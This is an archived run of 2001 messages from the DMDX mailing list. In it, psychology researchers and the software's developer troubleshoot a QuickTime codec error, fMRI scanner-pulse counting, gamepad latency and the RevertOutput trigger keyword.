Message-ID: <001f01c16728$c28603c0$6b6b9a89@uws.edu.au> From: ""Helen Tam"" To: Subject: [DMDX] Failed to CreateSample Date: Wed, 7 Nov 2001 12:08:49 +1100 MIME-Version: 1.0 Content-Type: multipart/alternative; boundary=""----=_NextPart_000_001C_01C16784.F5363900"" Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list This is a multi-part message in MIME format. ------=_NextPart_000_001C_01C16784.F5363900 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: quoted-printable Hi all, I'm getting an error message during syntax check. When it hits the first = item line, it says: Failed to CreateSample VFW_S_RESOURCE_NOT_NEEDED (888760250) The resource specified is no longer needed I'd really appreciate it if you could tell me what this means. I'm using = DMDX version 2.2.00, on a PC (windows 98), DirectX 7.0, and I'm trying = to run .mov files in my experiment. I've checked that the files are in = the same folder as the script and DMDX.exe. Many thanks, Helen (still struggling with DMDX) ------=_NextPart_000_001C_01C16784.F5363900 Content-Type: text/html; charset=""iso-8859-1"" Content-Transfer-Encoding: quoted-printable Hi all,   I'm getting an error message during = syntax check.=20 When it hits the first item line, it says:   Failed to CreateSample VFW_S_RESOURCE_NOT_NEEDED = (888760250) The resource specified is no longer=20 needed   I'd really appreciate it if you = could tell me=20 what this means. I'm using DMDX version 2.2.00, on a PC (windows 98), = DirectX=20 7.0, and I'm trying to run .mov files in my experiment. I've checked = that the=20 files are in the same folder as the script and DMDX.exe.   Many thanks, Helen(still struggling with=20 DMDX) ------=_NextPart_000_001C_01C16784.F5363900-- >From DMDX-owner@psy1.psych.arizona.edu Wed Nov 7 05:26:34 2001 Received: from mailhost.mrc-cbu.cam.ac.uk (sirius.mrc-cbu.cam.ac.uk [192.153.213.178]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id FAA21364 for ; Wed, 7 Nov 2001 05:26:00 -0700 Received: from pc125.mrc-cbu.cam.ac.uk by mailhost.mrc-cbu.cam.ac.uk with Sendmail (8.9.3/V3080601); Wed, 7 Nov 2001 12:25:56 GMT Message-Id: <5.1.0.14.2.20011107113712.01defc88@pophost.mrc-cbu.cam.ac.uk> Date: Wed, 07 Nov 2001 11:58:16 +0000 To: DMDX@psy1.psych.arizona.edu From: Maarten van Casteren Subject: [DMDX] Scanner pulses Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Hi, We (CBU Cambridge, UK) are using DMDX for most of our imaging (fMRI) experiments. A problem with this is that the experiment must be scanner paced. The scanner sends a pulse everytime it scans a volume (basically a picture of the subject's head), and usually a number of volumes are scanned within each trial. The next trial should only start when the first scanner pulse is received. The scanner pulses are connected to the Bit0 channel of the PIO12 card, so will by default be interpreted as request button presses. The problem is that it can be extremely difficult to get a response time from the subject and count scanner pulses at the same time. We couldn't find another way then by making each trial precisely the same length, so that we know how many scanner pulses happen during the trial, and then wait for the correct number of extra pulses before starting the next trial. Does somebody have a better solution for this? The perfect solution would probably be to be able to connect a counter to an input channel (a bit like the lookingtime keyword), and then have a keyword that made DMDX wait until this counter reached a certain value before starting each trial (and then also resetting it to 0). Thanks, Maarten >From DMDX-owner@psy1.psych.arizona.edu Wed Nov 7 09:18:29 2001 Received: from breaker.dakotacom.net (breaker.dakotacom.net [208.235.160.21]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with SMTP id JAA21915 for ; Wed, 7 Nov 2001 09:17:33 -0700 Received: (qmail 25067 invoked from network); 7 Nov 2001 16:17:30 -0000 Received: from unknown (HELO anybodyi.u.arizona.edu) (150.135.175.21) by breaker.dakotacom.net with SMTP; 7 Nov 2001 16:17:29 -0000 Message-Id: <5.1.0.14.2.20011107091441.009f3bb0@psy1.psych.arizona.edu> Date: Wed, 07 Nov 2001 09:16:55 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] Re: Failed to CreateSample In-Reply-To: <001f01c16728$c28603c0$6b6b9a89@uws.edu.au> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 12:08 PM 11/7/01 +1100, you wrote: >Hi all, > >I'm getting an error message during syntax check. When it hits the first >item line, it says: > >Failed to CreateSample >VFW_S_RESOURCE_NOT_NEEDED (888760250) >The resource specified is no longer needed > >I'd really appreciate it if you could tell me what this means. I'm using >DMDX version 2.2.00, on a PC (windows 98), DirectX 7.0, and I'm trying to >run .mov files in my experiment. I've checked that the files are in the >same folder as the script and DMDX.exe. What does it do when the item file runs as opposed to being syntax checked? Same error message? Sounds to me like you're going to have to give up using .MOV files and use something else. I've had no trouble with .MPG or .AVI files. You might want to download the latest Quick Time viewer from Apple. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ There are no secrets better kept than those secrets that everybody guesses. - George Bernard Shaw (1856-1950) Mrs. Warren's Profession, 1983 >From DMDX-owner@psy1.psych.arizona.edu Wed Nov 7 09:33:04 2001 Received: from breaker.dakotacom.net (breaker.dakotacom.net [208.235.160.21]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with SMTP id JAA22015 for ; Wed, 7 Nov 2001 09:32:49 -0700 Received: (qmail 6074 invoked from network); 7 Nov 2001 16:32:43 -0000 Received: from unknown (HELO anybodyi.u.arizona.edu) (150.135.175.21) by breaker.dakotacom.net with SMTP; 7 Nov 2001 16:32:43 -0000 Message-Id: <5.1.0.14.2.20011107092118.009f5b80@psy1.psych.arizona.edu> Date: Wed, 07 Nov 2001 09:32:11 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] Re: Scanner pulses In-Reply-To: <5.1.0.14.2.20011107113712.01defc88@pophost.mrc-cbu.cam.ac. uk> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 11:58 AM 11/7/01 +0000, you wrote: >Hi, > >We (CBU Cambridge, UK) are using DMDX for most of our imaging (fMRI) >experiments. A problem with this is that the experiment must be scanner >paced. The scanner sends a pulse everytime it scans a volume (basically a >picture of the subject's head), and usually a number of volumes are >scanned within each trial. The next trial should only start when the first >scanner pulse is received. The scanner pulses are connected to the Bit0 >channel of the PIO12 card, so will by default be interpreted as request >button presses. > >The problem is that it can be extremely difficult to get a response time >from the subject and count scanner pulses at the same time. We couldn't >find another way then by making each trial precisely the same length, so >that we know how many scanner pulses happen during the trial, and then >wait for the correct number of extra pulses before starting the next trial. > >Does somebody have a better solution for this? The perfect solution would >probably be to be able to connect a counter to an input channel (a bit >like the lookingtime keyword), and then have a keyword that made DMDX wait >until this counter reached a certain value before starting each trial (and >then also resetting it to 0). We tend to trigger the scanner here to avoid such problems. I won't be adding a keyword to do what you want unless you want to buy us a big hard disk and even then it's a whopper, I may well find a reason not to do it. I would suggest that crafting a sub routine to count pulses using is the best bet. You'll want to map only your subject's response key as a positive responses and leave Bit0 unmapped. You'll want a subroutine that sets some summing counter to 0 and then has an item that displays nothing but turns the clockon for period longer than the interval between two pulses and a to some temporary counter that you'll want to sum to summing counter and if the summing counter isn't over your limit branch to the item that turns the clock on again otherwise return (not the item that sets the sum to zero). -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ There are no secrets better kept than those secrets that everybody guesses. - George Bernard Shaw (1856-1950) Mrs. Warren's Profession, 1983 >From DMDX-owner@psy1.psych.arizona.edu Wed Nov 7 10:35:56 2001 Received: from breaker.dakotacom.net (breaker.dakotacom.net [208.235.160.21]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with SMTP id KAA22204 for ; Wed, 7 Nov 2001 10:34:27 -0700 Received: (qmail 20923 invoked from network); 7 Nov 2001 17:34:21 -0000 Received: from unknown (HELO anybodyi.u.arizona.edu) (150.135.175.21) by breaker.dakotacom.net with SMTP; 7 Nov 2001 17:34:21 -0000 Message-Id: <5.1.0.14.2.20011107103123.009ece40@psy1.psych.arizona.edu> Date: Wed, 07 Nov 2001 10:33:45 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] Re: Scanner pulses In-Reply-To: <5.1.0.14.2.20011107092118.009f5b80@psy1.psych.arizona.edu> References: <5.1.0.14.2.20011107113712.01defc88@pophost.mrc-cbu.cam.ac. uk> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 09:32 AM 11/7/01 -0700, you wrote: > We tend to trigger the scanner here to avoid such problems. I won't be > adding a keyword to do what you want unless you want to buy us a big hard > disk and even then it's a whopper, I may well find a reason not to do > it. I would suggest that crafting a sub routine to count pulses using > is the best bet. You'll want to map only your subject's > response key as a positive responses and leave Bit0 unmapped. You'll > want a subroutine that sets some summing counter to 0 and then has an > item that displays nothing but turns the clockon for period longer than > the interval between two pulses and a to some temporary counter that > you'll want to sum to summing counter and if the summing counter isn't > over your limit branch to the item that turns the clock on again > otherwise return (not the item that sets the sum to zero). You'll also want a D0 or something low in the item that does the polling. Probably ten other things I'm not immediately thinking of as well. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ There are no secrets better kept than those secrets that everybody guesses. - George Bernard Shaw (1856-1950) Mrs. Warren's Profession, 1983 >From DMDX-owner@psy1.psych.arizona.edu Wed Nov 7 13:00:31 2001 Received: from panini.iel.unicamp.br (panini.iel.unicamp.br [143.106.15.72]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id NAA22585 for ; Wed, 7 Nov 2001 13:00:16 -0700 Received: from localhost (leocouto@localhost) by panini.iel.unicamp.br (8.9.1/8.9.1) with SMTP id RAA09649 for ; Wed, 7 Nov 2001 17:58:35 -0200 (EDT) Date: Wed, 7 Nov 2001 17:58:35 -0200 (EDT) From: ""Leonardo C. Franco de Oliveira"" To: DMDX@psy1.psych.arizona.edu Subject: [DMDX] Joystick input Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Hi all, As a first post to the list, I'm submitting a TimeDX test with a gamepad as an input device. The configuration is basically: PIII 500, 128 RAM, MB with BX chipset, Soundblaster Audigy MP3+ (gameport included), running WIN 98SE and DirectX 8.0 The Gamepad is A Genius MaxFire DigitalForce G-09 (nice buttons, althoug it isn't so rounded and comfortable). Here are the DirectInput Results: Device is polled (0.051 ms) timebase 1 ms This is the worst result, sometimes it's 0.049. I believe it's ok as an input device, right? Results are even lower (0.036) in a DELL PIII 700 with 384 RAM and Soundblaster Live Value, running Win 98SE. Should I use RawJoystick or is it ok with the gamepad? Is the gain so significant? If there is interest, I can benchmark the SoundBlaster Audigy (with nice 100 dB SNR). Thanks in advance. []'s Leonardo Oliveira Linguistics Graduate Student State University of Campinas - Brazil >From DMDX-owner@psy1.psych.arizona.edu Wed Nov 7 14:37:26 2001 Received: from deimos.email.Arizona.EDU (root@deimos-adm.email.Arizona.EDU [128.196.133.166]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id OAA22867 for ; Wed, 7 Nov 2001 14:37:17 -0700 Received: from jcf.u.arizona.edu (128.196.98.7) by deimos.email.Arizona.EDU (6.0.034) id 3BE3449A0006F865 for DMDX@psy1.psych.arizona.edu; Wed, 7 Nov 2001 14:37:16 -0700 Message-Id: <5.1.0.14.2.20011107143554.009ebbc0@psy1.psych.arizona.edu> Date: Wed, 07 Nov 2001 14:37:14 -0700 To: DMDX@psy1.psych.arizona.edu From: ""Jonathan C. Forster"" Subject: [DMDX] Re: Joystick input In-Reply-To: Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 05:58 PM 11/7/01 -0200, you wrote: >Hi all, > >As a first post to the list, I'm submitting a TimeDX test with a gamepad >as an input device. The configuration is basically: > >PIII 500, 128 RAM, MB with BX chipset, Soundblaster Audigy MP3+ (gameport >included), running WIN 98SE and DirectX 8.0 The Gamepad is A Genius >MaxFire DigitalForce >G-09 (nice buttons, althoug it isn't so rounded and comfortable). Here are >the DirectInput Results: > >Device is polled (0.051 ms) timebase 1 ms > >This is the worst result, sometimes it's 0.049. I believe it's ok as an >input device, right? Results are even lower (0.036) in a DELL PIII 700 >with 384 RAM and Soundblaster Live Value, running Win 98SE. It's excellent. >Should I use RawJoystick or is it ok with the gamepad? Is the gain so >significant? Not much gain to speak of there, they're both really fast. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ All power corrupts, but we need electricity. >From DMDX-owner@psy1.psych.arizona.edu Wed Nov 7 15:33:00 2001 Received: from deimos.email.Arizona.EDU (root@deimos-adm.email.Arizona.EDU [128.196.133.166]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id PAA23054 for ; Wed, 7 Nov 2001 15:32:52 -0700 Received: from jcf.u.arizona.edu (128.196.98.7) by deimos.email.Arizona.EDU (6.0.034) id 3BE3449A00071C1E for DMDX@psy1.psych.arizona.edu; Wed, 7 Nov 2001 15:32:51 -0700 Message-Id: <5.1.0.14.2.20011107152308.009d15e0@psy1.psych.arizona.edu> Date: Wed, 07 Nov 2001 15:32:51 -0700 To: DMDX@psy1.psych.arizona.edu From: ""Jonathan C. Forster"" Subject: [DMDX] DMDX 2.6.03 Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list More on getting bulletproof. While having an admittedly small, nay, vanishingly small probability of occurring 2.6.03 eliminates the chance that an item that has an frame in it turns a blank frame into jibberish. It would have to cause the item buffer to get reallocated by causing the item size to exceed 500 or 100 or 1500 etc characters when the counter's characters get added to the frame (where no other item had exceeded this limit before) and that item would have to have a blank frame _before_ the frame. You can see why I get concerned about just gaily adding things and where instability can creep in. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ All power corrupts, but we need electricity. >From DMDX-owner@psy1.psych.arizona.edu Wed Nov 7 16:37:23 2001 Received: from cooper.uws.edu.au (cooper.uws.edu.au [137.154.210.65]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id QAA23232 for ; Wed, 7 Nov 2001 16:37:13 -0700 Received: from marcsmatlab ([137.154.107.107]) by cooper.uws.edu.au (8.11.3/8.11.3/UWS-STAFF-1.2) with SMTP id fA7Nb8m29376 for ; Thu, 8 Nov 2001 10:37:09 +1100 (EST) Message-ID: <002501c167e5$e8dc2dc0$6b6b9a89@uws.edu.au> From: ""Helen Tam"" To: References: <5.1.0.14.2.20011107091441.009f3bb0@psy1.psych.arizona.edu> Subject: [DMDX] Re: Failed to CreateSample Date: Thu, 8 Nov 2001 10:42:48 +1100 MIME-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: 7bit Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Thanks Jonathon, Yes, it runs! I decided to ignore the error message and run the file anyway, it works. Why? Helen ----- Original Message ----- From: j.c.f. To: Sent: Thursday, November 08, 2001 3:16 AM Subject: [DMDX] Re: Failed to CreateSample > At 12:08 PM 11/7/01 +1100, you wrote: > >Hi all, > > > >I'm getting an error message during syntax check. When it hits the first > >item line, it says: > > > >Failed to CreateSample > >VFW_S_RESOURCE_NOT_NEEDED (888760250) > >The resource specified is no longer needed > > > >I'd really appreciate it if you could tell me what this means. I'm using > >DMDX version 2.2.00, on a PC (windows 98), DirectX 7.0, and I'm trying to > >run .mov files in my experiment. I've checked that the files are in the > >same folder as the script and DMDX.exe. > > What does it do when the item file runs as opposed to being syntax > checked? Same error message? Sounds to me like you're going to have to > give up using .MOV files and use something else. I've had no trouble with > .MPG or .AVI files. You might want to download the latest Quick Time > viewer from Apple. > > > -jonathan (j.c.f.) > > /""\\ > \\ / > X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL > / \\ > > There are no secrets better kept than those secrets that > everybody guesses. > - George Bernard Shaw (1856-1950) > Mrs. Warren's Profession, 1983 > > > ==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread > ==================================================================== >From DMDX-owner@psy1.psych.arizona.edu Thu Nov 8 04:56:46 2001 Received: from smtp.gu.se (smtp.gu.se [130.241.150.66]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id EAA24675 for ; Thu, 8 Nov 2001 04:56:28 -0700 Received: from mango (psyk21.ss.med.gu.se [130.241.85.176]) by smtp.gu.se (8.10.2/8.10.2) with SMTP id fA8BuRp30186 for ; Thu, 8 Nov 2001 12:56:27 +0100 From: ""Derek N. Eder"" To: ""DMDX"" Subject: [DMDX] Problem using Date: Thu, 8 Nov 2001 12:54:45 +0100 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: 8bit Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list DMDX version 2.6.03 (1) When I try to use , I get the error message: ""Misplaced parameter keyword in item"". (2) I don't understand the syntax of the command. The 'Manual' specifies a call in the form: but this does not include a parameter for the output port bit, e.g., as in Now, I'm not the type to ""blame America first"" so I plead ... what am I doing wrong? Example, the code which offendeth: 1 /; 0 ""thank you"" ; - Derek Derek N. Eder G�teborgs Universitet Institutionen f�r klinisk neurovetenskap - psykiatri Sahlgrenska universitetssjukhuset SS/SU Bl� straket 17b SE 413 45 G�teborg Sverige Tlf. +46 (031) 34 26 139 Fax. +46 (031) 34 21 533 derek.eder@neuro.gu.se Gothenburg University Institute of Clinical Neuroscience, Section for Psychiatry Salhgrenska Hospital SU/SS SE 413 45 G�teborg Sweden >From DMDX-owner@psy1.psych.arizona.edu Thu Nov 8 05:08:59 2001 Received: from mail5.doit.wisc.edu (mail5.doit.wisc.edu [144.92.9.76]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id FAA24769 for ; Thu, 8 Nov 2001 05:08:48 -0700 Received: from [128.104.112.60] by mail5.doit.wisc.edu id GAA74432 (8.9.1/50); Thu, 8 Nov 2001 06:08:48 -0600 From: ""John J. Curtin"" To: Subject: [DMDX] RE: Problem using Date: Thu, 8 Nov 2001 06:06:14 -0600 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: 8bit In-Reply-To: Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list RevertOutput should be used in the parameter/header line at the top of the script. When used it will change the function of the output command (which you should continue to use in the individual trials as before) from latched to non-latched with a pulse length (and return value) as indicated in the revertoutput command. You will set the actual bit pattern to output with each output command as before. I am happy to hear that you are using this new feature. I have been missing triggers infrequently (maybe one out of 200 triggers ever other subject) on the data collection machine that receives the output from DMDX. I am currently assuming that it is a hardware issue in my lab and trying to fix it locally but please let me know if you experience the same problem, suggesting some problem with using the latched form of output. Enjoy J -----Original Message----- From: DMDX-owner@psy1.psych.arizona.edu [mailto:DMDX-owner@psy1.psych.arizona.edu]On Behalf Of Derek N. Eder Sent: Thursday, November 08, 2001 5:55 AM To: DMDX Subject: [DMDX] Problem using DMDX version 2.6.03 (1) When I try to use , I get the error message: ""Misplaced parameter keyword in item"". (2) I don't understand the syntax of the command. The 'Manual' specifies a call in the form: but this does not include a parameter for the output port bit, e.g., as in Now, I'm not the type to ""blame America first"" so I plead ... what am I doing wrong? Example, the code which offendeth: 1 /; 0 ""thank you"" ; - Derek Derek N. Eder G�teborgs Universitet Institutionen f�r klinisk neurovetenskap - psykiatri Sahlgrenska universitetssjukhuset SS/SU Bl� straket 17b SE 413 45 G�teborg Sverige Tlf. +46 (031) 34 26 139 Fax. +46 (031) 34 21 533 derek.eder@neuro.gu.se Gothenburg University Institute of Clinical Neuroscience, Section for Psychiatry Salhgrenska Hospital SU/SS SE 413 45 G�teborg Sweden ==================================================================== Send mail to DMDX-request@psy1.psych.arizona.edu with the word 'unsubscribe' by itself with no quotes in the body of the email to be removed from the list. The list archive is available here: http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread ==================================================================== >From DMDX-owner@psy1.psych.arizona.edu Thu Nov 8 06:08:44 2001 Received: from smtp.gu.se (smtp.gu.se [130.241.150.66]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id GAA24940 for ; Thu, 8 Nov 2001 06:08:31 -0700 Received: from mango (psyk21.ss.med.gu.se [130.241.85.176]) by smtp.gu.se (8.10.2/8.10.2) with SMTP id fA8D8Vp32210 for ; Thu, 8 Nov 2001 14:08:31 +0100 From: ""Derek N. Eder"" To: Subject: [DMDX] RE: RE: Problem using Date: Thu, 8 Nov 2001 14:06:50 +0100 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: 8bit In-Reply-To: Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Dear John, thank you for your help. I stubbornly assumed that operated as I wanted it to, as a 'variable-period pulse generating' substitute for . I will look for 'missed beats' in my trigger system but perhaps you do have a hardware problem? I would consider possible mismatches between the logic circuitry of the PIO output and your triggered device. You need to know if your PIO is CMOS (e.g., Keithley PIO-12 made after Nov 1996) or TTL. Similarly you need to know about the 'input' device. For examples: (i) 74xx and low power TTL (74Lxx) families cannot directly drive 4000 CMOS, but 74HCTxx can. (ii) 4000 series CMOS can drive TTL as long as the CMOS is operating at +5 V, otherwise not directly. Also: Are there pull-up resistors on the trigger inputs?, or perhaps the trigger needs to be a positive going pulse, in which case you need pull-down resistors for noise immunity. - Derek -----Original Message----- From: DMDX-owner@psy1.psych.arizona.edu [mailto:DMDX-owner@psy1.psych.arizona.edu]On Behalf Of John J. Curtin Sent: den 8 november 2001 13:06 To: DMDX@psy1.psych.arizona.edu Subject: [DMDX] RE: Problem using RevertOutput should be used in the parameter/header line at the top of the script. When used it will change the function of the output command (which you should continue to use in the individual trials as before) from latched to non-latched with a pulse length (and return value) as indicated in the revertoutput command. You will set the actual bit pattern to output with each output command as before. I am happy to hear that you are using this new feature. I have been missing triggers infrequently (maybe one out of 200 triggers ever other subject) on the data collection machine that receives the output from DMDX. I am currently assuming that it is a hardware issue in my lab and trying to fix it locally but please let me know if you experience the same problem, suggesting some problem with using the latched form of output. Enjoy J -----Original Message----- From: DMDX-owner@psy1.psych.arizona.edu [mailto:DMDX-owner@psy1.psych.arizona.edu]On Behalf Of Derek N. Eder Sent: Thursday, November 08, 2001 5:55 AM To: DMDX Subject: [DMDX] Problem using DMDX version 2.6.03 (1) When I try to use , I get the error message: ""Misplaced parameter keyword in item"". (2) I don't understand the syntax of the command. The 'Manual' specifies a call in the form: but this does not include a parameter for the output port bit, e.g., as in Now, I'm not the type to ""blame America first"" so I plead ... what am I doing wrong? Example, the code which offendeth: 1 /; 0 ""thank you"" ; - Derek Derek N. Eder G�teborgs Universitet Institutionen f�r klinisk neurovetenskap - psykiatri Sahlgrenska universitetssjukhuset SS/SU Bl� straket 17b SE 413 45 G�teborg Sverige Tlf. +46 (031) 34 26 139 Fax. +46 (031) 34 21 533 derek.eder@neuro.gu.se Gothenburg University Institute of Clinical Neuroscience, Section for Psychiatry Salhgrenska Hospital SU/SS SE 413 45 G�teborg Sweden ==================================================================== Send mail to DMDX-request@psy1.psych.arizona.edu with the word 'unsubscribe' by itself with no quotes in the body of the email to be removed from the list. The list archive is available here: http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread ==================================================================== ==================================================================== Send mail to DMDX-request@psy1.psych.arizona.edu with the word 'unsubscribe' by itself with no quotes in the body of the email to be removed from the list. The list archive is available here: http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread ==================================================================== >From DMDX-owner@psy1.psych.arizona.edu Thu Nov 8 06:36:43 2001 Received: from smtp.gu.se (smtp.gu.se [130.241.150.66]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id GAA25040 for ; Thu, 8 Nov 2001 06:36:30 -0700 Received: from mango (psyk21.ss.med.gu.se [130.241.85.176]) by smtp.gu.se (8.10.2/8.10.2) with SMTP id fA8DaUp00771 for ; Thu, 8 Nov 2001 14:36:30 +0100 From: ""Derek N. Eder"" To: Subject: [DMDX] RE: RE: RE: Problem using Date: Thu, 8 Nov 2001 14:34:49 +0100 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: 7bit In-Reply-To: Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Now back to my problem :) I still don't get it. Shouldn't this work? 1 /; 0 ""thank you"" ; ... ""Invalid Revert Output Keyword <1000, H> Or this? 1 , /; 0 ""thank you"" ; ... ""Misplaced Parameter Keyword From DMDX-owner@psy1.psych.arizona.edu Thu Nov 8 07:57:34 2001 Received: from mail5.doit.wisc.edu (mail5.doit.wisc.edu [144.92.9.76]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id HAA25280 for ; Thu, 8 Nov 2001 07:57:08 -0700 Received: from [144.92.195.187] by mail5.doit.wisc.edu id IAA78444 (8.9.1/50); Thu, 8 Nov 2001 08:57:07 -0600 From: ""John J. Curtin"" To: Subject: [DMDX] RE: RE: RE: RE: Problem using Date: Thu, 8 Nov 2001 08:55:37 -0600 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: 7bit In-Reply-To: Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Here is the header from a script that I use to present a series of bmp files with a trigger to mark the onset of each bmp presentation and to mark the onset of an inter trial interval (ITI) which starts immediately after the offset of the bmp file. d59 f1 0 o0 ""Turn on Shock Generator."", ""Press SPACE bar to start experiment.""; 1 o12 ""GREEN"" <% 302>/o13 <% 725>/; 2 o11 ""RED"" <% 302> /o13 <% 544>/; .... .... John J. Curtin, Ph.D. Assistant Professor of Psychology University of Wisconsin 1202 W. Johnson St. Madison, WI 53706 Office: 608-262-0387 Lab: 608-262-5621 Email: jjcurtin@facstaff.wisc.edu -----Original Message----- From: DMDX-owner@psy1.psych.arizona.edu [mailto:DMDX-owner@psy1.psych.arizona.edu]On Behalf Of Derek N. Eder Sent: Thursday, November 08, 2001 7:35 AM To: DMDX@psy1.psych.arizona.edu Subject: [DMDX] RE: RE: RE: Problem using Now back to my problem :) I still don't get it. Shouldn't this work? 1 /; 0 ""thank you"" ; ... ""Invalid Revert Output Keyword <1000, H> Or this? 1 , /; 0 ""thank you"" ; ... ""Misplaced Parameter Keyword From DMDX-owner@psy1.psych.arizona.edu Thu Nov 8 09:31:23 2001 Received: from breaker.dakotacom.net (breaker.dakotacom.net [208.235.160.21]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with SMTP id JAA25534 for ; Thu, 8 Nov 2001 09:30:40 -0700 Received: (qmail 4620 invoked from network); 8 Nov 2001 16:30:32 -0000 Received: from unknown (HELO anybodyi.u.arizona.edu) (150.135.175.21) by breaker.dakotacom.net with SMTP; 8 Nov 2001 16:30:32 -0000 Message-Id: <5.1.0.14.2.20011108092404.009e3410@psy1.psych.arizona.edu> Date: Thu, 08 Nov 2001 09:30:00 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] Re: Failed to CreateSample In-Reply-To: <002501c167e5$e8dc2dc0$6b6b9a89@uws.edu.au> References: <5.1.0.14.2.20011107091441.009f3bb0@psy1.psych.arizona.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 10:42 AM 11/8/01 +1100, you wrote: >Thanks Jonathon, >Yes, it runs! I decided to ignore the error message and run the file anyway, >it works. Why? Only thing I can theorize is that that the Apple Quick Time codec has somehow decided that a video buffer is not needed for that media. At first I was thinking that perhaps the file you were throwing at it had no video component and was just audio in which case the keyword should be used. But if it runs in a normal fashion the only thing I can guess is that the QT codec is smart enough to somehow determine that DMDX hasn't switched to a DDraw video mode and so therefore can't possibly be wanting the video information. Which is daft, I might want to process the data or send it over the network without displaying it. But that's Apple for you, they know best. I ran a syntax check on the digital video demo yesterday and it was fine so the .MPG and .AVI codec are fine. > > >Failed to CreateSample > > >VFW_S_RESOURCE_NOT_NEEDED (888760250) > > >The resource specified is no longer needed > > > -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ There are no secrets better kept than those secrets that everybody guesses. - George Bernard Shaw (1856-1950) Mrs. Warren's Profession, 1983 >From DMDX-owner@psy1.psych.arizona.edu Thu Nov 8 09:32:45 2001 Received: from breaker.dakotacom.net (breaker.dakotacom.net [208.235.160.21]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with SMTP id JAA25565 for ; Thu, 8 Nov 2001 09:32:39 -0700 Received: (qmail 6118 invoked from network); 8 Nov 2001 16:32:35 